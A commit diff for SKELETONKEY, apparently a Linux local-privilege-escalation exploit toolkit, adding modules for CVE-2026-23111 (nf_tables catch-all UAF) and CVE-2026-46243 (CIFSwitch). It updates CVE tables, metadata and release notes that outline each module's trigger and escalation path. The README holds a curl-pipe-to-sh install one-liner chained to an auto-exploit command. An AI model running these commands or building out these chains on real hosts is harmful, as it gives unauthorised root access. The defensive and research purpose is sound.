modules: add nft_catchall (CVE-2026-23111, nf_tables catch-all abort UAF)

The newest nftables LPE: a use-after-free in the nf_tables transaction-
abort path. An inverted condition (a stray '!') in
nft_map_catchall_activate() makes the abort path process active catch-all
map elements instead of skipping them; a catch-all GOTO element drives a
chain's use-count to zero so a following DELCHAIN frees it while the
catch-all verdict still references it -> UAF, escalatable from an
unprivileged user (userns + nftables) via modprobe_path/selinux_state ROP.
Fixed upstream by f41c5d1; CWE-416, CVSS 7.8; not in CISA KEV. Public
reproduction by FuzzingLabs.

Takes the corpus to 43 modules / 38 CVEs.

🟡 reconstructed trigger, primitive-only, NOT VM-verified — same contract
as nf_tables (CVE-2024-1086). detect() version-gates (catch-all elems
~5.13; Debian backports 6.1.164/6.12.73/6.18.10, 7.0+ inherits) AND
requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks
an isolated child, builds a verdict map with a catch-all GOTO element,
provokes an aborting batch to drive the abort-path UAF, observes slabinfo,
and returns EXPLOIT_FAIL — the per-kernel leak + R/W + modprobe_path ROP
is not bundled. kernel_range table verified drift-clean against the live
Debian tracker (the 6.18 branch / 6.18.10 fix is the real forky/sid
backport; the earlier 7.0.10 figure was wrong).

Wired: registry, Makefile, safety rank (35), 6 detect() test rows (version
+ userns gating), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md
(sorted insert, CWE-416/T1068/not-KEV), README + CVES.md + website counts
(43/38) + yellow pill, RELEASE_NOTES v0.9.11, verify-vm target. Credit:
FuzzingLabs + upstream fix f41c5d1. Version 0.9.11.

CVES.md

@@ -23,14 +23,14 @@ Status legend:
 - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
   historical reference only
 
-**Counts:** 41 modules total covering 36 CVEs; **28 of 36 CVEs
+**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs
 verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
 planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
 *candidate* with no module, not counted as a module.)
 
 > **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
 > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
-> `ptrace_pidfd` / `sudo_host` are blocked by their target environment (VMware-only,
+> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only,
 > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
 > libs) or are brand-new this cycle, not by missing code. See
 > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
@@ -75,7 +75,7 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
 | CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
 | CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
-| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
+| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
 | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
 | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
 | CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
@@ -95,6 +95,8 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
 | CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
 | CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
+| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
+| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
 
 ## Operations supported per module
 

Makefile

@@ -232,6 +232,16 @@ SUH_DIR  := modules/sudo_host_cve_2025_32462
 SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
 SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
 
+# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
+CIW_DIR  := modules/cifswitch_cve_2026_46243
+CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
+CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
+
+# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
+NCA_DIR  := modules/nft_catchall_cve_2026_23111
+NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
+NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
+
 # Top-level dispatcher
 TOP_OBJ  := $(BUILD)/skeletonkey.o
 
@@ -245,7 +255,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
                $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
                $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
                $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
-               $(PPF_OBJS) $(SUH_OBJS)
+               $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS)
 
 ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
 

README.md

@@ -5,13 +5,14 @@
 [![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
 [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
 
-> **One curated binary. 41 Linux LPE modules covering 36 CVEs from 2016 → 2026.
+> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 → 2026.
 > Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
 > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
 > the safest one and runs it.**
 
 ```bash
 curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && export PATH="$HOME/.local/bin:$PATH" \
   && skeletonkey --auto --i-know
 ```
 
@@ -44,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams.
 
 ## Corpus at a glance
 
-**41 modules covering 36 distinct CVEs** across the 2016 → 2026 LPE
-timeline. **28 of the 36 CVEs have been empirically verified** in real
+**43 modules covering 38 distinct CVEs** across the 2016 → 2026 LPE
+timeline. **28 of the 38 CVEs have been empirically verified** in real
 Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
 blocked by their target environment (legacy hypervisor, EOL kernel, or
 the t64-transition libc rollout) or are brand-new additions awaiting a
@@ -67,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
 nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
 netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
 
-### Empirical verification (28 of 36 CVEs)
+### Empirical verification (28 of 38 CVEs)
 
 Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
 each verdict against a known-target VM. Coverage:
@@ -136,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
 $ skeletonkey --auto --i-know
 [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
 [*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
-[*] auto: scanning 41 modules for vulnerabilities...
+[*] auto: scanning 43 modules for vulnerabilities...
 [+] auto: dirty_pipe             VULNERABLE (safety rank 90)
 [+] auto: cgroup_release_agent   VULNERABLE (safety rank 98)
 [+] auto: pwnkit                 VULNERABLE (safety rank 100)
@@ -205,10 +206,16 @@ also compile (modules with Linux-only headers stub out gracefully).
 
 ## Status
 
-**v0.9.8 cut 2026-06-02.** 41 modules across 36 CVEs — **every
-year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
-Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal) and
-`sudo_host` (CVE-2025-32462, Stratascale's sudo `--host` policy bypass).
+**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs — **every
+year 2016 → 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111,
+the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted
+condition frees a chain still referenced by a catch-all GOTO map element;
+public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243,
+Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
+userspace-forged authority fields, coercing the root `cifs.upcall` helper
+into loading an attacker NSS module as root), and `ptrace_pidfd`
+(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
+credential-steal).
 v0.9.0 added 5 gap-fillers
 (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
 `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
@@ -238,19 +245,21 @@ Reliability + accuracy work in v0.7.x:
   trace, OPSEC footprint, detection-rule coverage, verified-on
   records. Paste-into-ticket ready.
 - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
-  CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs.
+  CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs.
 - **151 detection rules** across auditd / sigma / yara / falco; one
   command exports the corpus to your SIEM.
 - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
   exploit, structured verdict table, scan summary, `--dry-run`.
 
-Not yet verified (8 of 36 CVEs): `vmwgfx` (VMware-guest only),
+Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only),
 `dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
 4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
 `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
 Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
 libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
-(brand-new this cycle, sweep pending). Rationale in
++ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
+pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
+VM-verified). Rationale in
 [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
 
 See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and

core/cve_metadata.c

@@ -121,8 +121,8 @@ const struct cve_metadata cve_metadata_table[] = {
         .cwe                 = "CWE-287",
         .attack_technique    = "T1611",
         .attack_subtechnique = NULL,
-        .in_kev              = false,
-        .kev_date_added      = "",
+        .in_kev              = true,
+        .kev_date_added      = "2026-06-02",
     },
     {
         .cve                 = "CVE-2022-0847",
@@ -236,6 +236,14 @@ const struct cve_metadata cve_metadata_table[] = {
         .in_kev              = false,
         .kev_date_added      = "",
     },
+    {
+        .cve                 = "CVE-2025-32462",
+        .cwe                 = "CWE-863",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
     {
         .cve                 = "CVE-2025-32463",
         .cwe                 = "CWE-829",
@@ -252,6 +260,14 @@ const struct cve_metadata cve_metadata_table[] = {
         .in_kev              = false,
         .kev_date_added      = "",
     },
+    {
+        .cve                 = "CVE-2026-23111",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
     {
         .cve                 = "CVE-2026-31635",
         .cwe                 = "CWE-130",
@@ -276,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = {
         .in_kev              = false,
         .kev_date_added      = "",
     },
+    {
+        .cve                 = "CVE-2026-46243",
+        .cwe                 = "CWE-20",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
     {
         .cve                 = "CVE-2026-46300",
         .cwe                 = "CWE-787",
@@ -286,15 +310,7 @@ const struct cve_metadata cve_metadata_table[] = {
     },
     {
         .cve                 = "CVE-2026-46333",
-        .cwe                 = NULL,
-        .attack_technique    = "T1068",
-        .attack_subtechnique = NULL,
-        .in_kev              = false,
-        .kev_date_added      = "",
-    },
-    {
-        .cve                 = "CVE-2025-32462",
-        .cwe                 = "CWE-863",
+        .cwe                 = "CWE-269",
         .attack_technique    = "T1068",
         .attack_subtechnique = NULL,
         .in_kev              = false,

core/registry.h

@@ -57,6 +57,8 @@ void skeletonkey_register_vsock_uaf(void);
 void skeletonkey_register_nft_pipapo(void);
 void skeletonkey_register_ptrace_pidfd(void);
 void skeletonkey_register_sudo_host(void);
+void skeletonkey_register_cifswitch(void);
+void skeletonkey_register_nft_catchall(void);
 
 /* Call every skeletonkey_register_<family>() above in canonical order.
  * Single source of truth so the main binary and the test binary stay

core/registry_all.c

@@ -53,4 +53,6 @@ void skeletonkey_register_all_modules(void)
     skeletonkey_register_nft_pipapo();
     skeletonkey_register_ptrace_pidfd();
     skeletonkey_register_sudo_host();
+    skeletonkey_register_cifswitch();
+    skeletonkey_register_nft_catchall();
 }

docs/CVE_METADATA.json

@@ -122,8 +122,8 @@
     "cwe": "CWE-287",
     "attack_technique": "T1611",
     "attack_subtechnique": null,
-    "in_kev": false,
-    "kev_date_added": ""
+    "in_kev": true,
+    "kev_date_added": "2026-06-02"
   },
   {
     "cve": "CVE-2022-0847",
@@ -251,6 +251,15 @@
     "in_kev": false,
     "kev_date_added": ""
   },
+  {
+    "cve": "CVE-2025-32462",
+    "module_dir": "sudo_host_cve_2025_32462",
+    "cwe": "CWE-863",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
   {
     "cve": "CVE-2025-32463",
     "module_dir": "sudo_chwoot_cve_2025_32463",
@@ -269,6 +278,15 @@
     "in_kev": false,
     "kev_date_added": ""
   },
+  {
+    "cve": "CVE-2026-23111",
+    "module_dir": "nft_catchall_cve_2026_23111",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
   {
     "cve": "CVE-2026-31635",
     "module_dir": "dirtydecrypt_cve_2026_31635",
@@ -296,6 +314,15 @@
     "in_kev": false,
     "kev_date_added": ""
   },
+  {
+    "cve": "CVE-2026-46243",
+    "module_dir": "cifswitch_cve_2026_46243",
+    "cwe": "CWE-20",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
   {
     "cve": "CVE-2026-46300",
     "module_dir": "fragnesia_cve_2026_46300",
@@ -308,16 +335,7 @@
   {
     "cve": "CVE-2026-46333",
     "module_dir": "ptrace_pidfd_cve_2026_46333",
-    "cwe": null,
-    "attack_technique": "T1068",
-    "attack_subtechnique": null,
-    "in_kev": false,
-    "kev_date_added": ""
-  },
-  {
-    "cve": "CVE-2025-32462",
-    "module_dir": "sudo_host_cve_2025_32462",
-    "cwe": "CWE-863",
+    "cwe": "CWE-269",
     "attack_technique": "T1068",
     "attack_subtechnique": null,
     "in_kev": false,

docs/KEV_CROSSREF.md

@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
 in the wild per the Known Exploited Vulnerabilities catalog.
 Refreshed via `tools/refresh-cve-metadata.py`.
 
-**12 of 34 modules cover KEV-listed CVEs.**
+**13 of 38 modules cover KEV-listed CVEs.**
 
 ## In KEV (prioritize patching)
 
@@ -22,6 +22,7 @@ Refreshed via `tools/refresh-cve-metadata.py`.
 | CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
 | CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
 | CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
+| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
 
 ## Not in KEV
 
@@ -36,7 +37,6 @@ and are technically reachable. "Not in KEV" is not the same as
 | CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
 | CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
 | CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
-| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
 | CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
 | CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
 | CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
@@ -48,8 +48,12 @@ and are technically reachable. "Not in KEV" is not the same as
 | CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
 | CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
 | CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
+| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
 | CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
+| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
 | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
 | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
 | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
+| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
 | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
+| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |

docs/LAUNCH.md

@@ -26,6 +26,7 @@ haven't been maintained in years.
 
 ```bash
 curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && export PATH="$HOME/.local/bin:$PATH" \
   && skeletonkey --auto --i-know
 ```
 

docs/RELEASE_NOTES.md

@@ -1,3 +1,119 @@
+## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
+
+Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
+modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
+nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
+inverted condition (a stray `!`) so the abort path processes *active*
+catch-all map elements instead of skipping them — a catch-all GOTO element
+drives a chain's use-count to zero, and a following `DELCHAIN` frees the
+chain while the catch-all verdict still references it → UAF. From an
+unprivileged user (user namespaces + nftables) it escalates to root via a
+`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
+CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
+**FuzzingLabs**.
+
+🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
+one more UAF in the corpus's most-covered subsystem (`nf_tables`,
+`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
+contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
+fires the bug class and stops. `detect()` version-gates against the
+Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
+catch-all set elements arrived ~5.13) **and** requires unprivileged
+user-namespace clone — a vulnerable kernel with userns locked down is
+`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
+element and provokes an aborting batch transaction to drive the abort-path
+UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
+arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
+refused), and the trigger is reconstructed from the public analysis rather
+than VM-verified — it never claims root it did not get. Ships auditd +
+sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
+unit-test rows (version + userns gating), credits FuzzingLabs + the
+upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
+VM-verified, so the verified count stays 28 of 38.
+
+## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
+
+Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
+2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
+kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
+`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
+accepts key descriptions created by *userspace* (`add_key(2)` /
+`request_key(2)`) without verifying the request came from the in-kernel
+CIFS client. The description carries authority-bearing fields
+(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
+helper trusts as kernel-originating; combined with user+mount namespace
+tricks, an unprivileged user coerces `cifs.upcall` into loading an
+attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
+7.1-rc5); NVD class CWE-20; not in CISA KEV.
+
+🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
+kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
+**and** on the presence of the vulnerable userspace path — a vulnerable
+kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
